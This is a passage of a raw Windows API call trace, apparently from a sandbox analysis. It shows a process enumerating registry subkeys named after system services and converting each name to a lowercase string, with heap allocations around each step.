0x21f1d18 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.294] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.294] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.294] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.294] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.295] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.295] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.295] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0236.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.295] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.296] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.296] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.296] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0236.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.297] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.297] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.297] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.297] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0236.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.298] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.298] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.298] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0236.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.298] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0236.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0236.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0236.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0236.299] RegEnumKeyW (in: hKey=0x150, 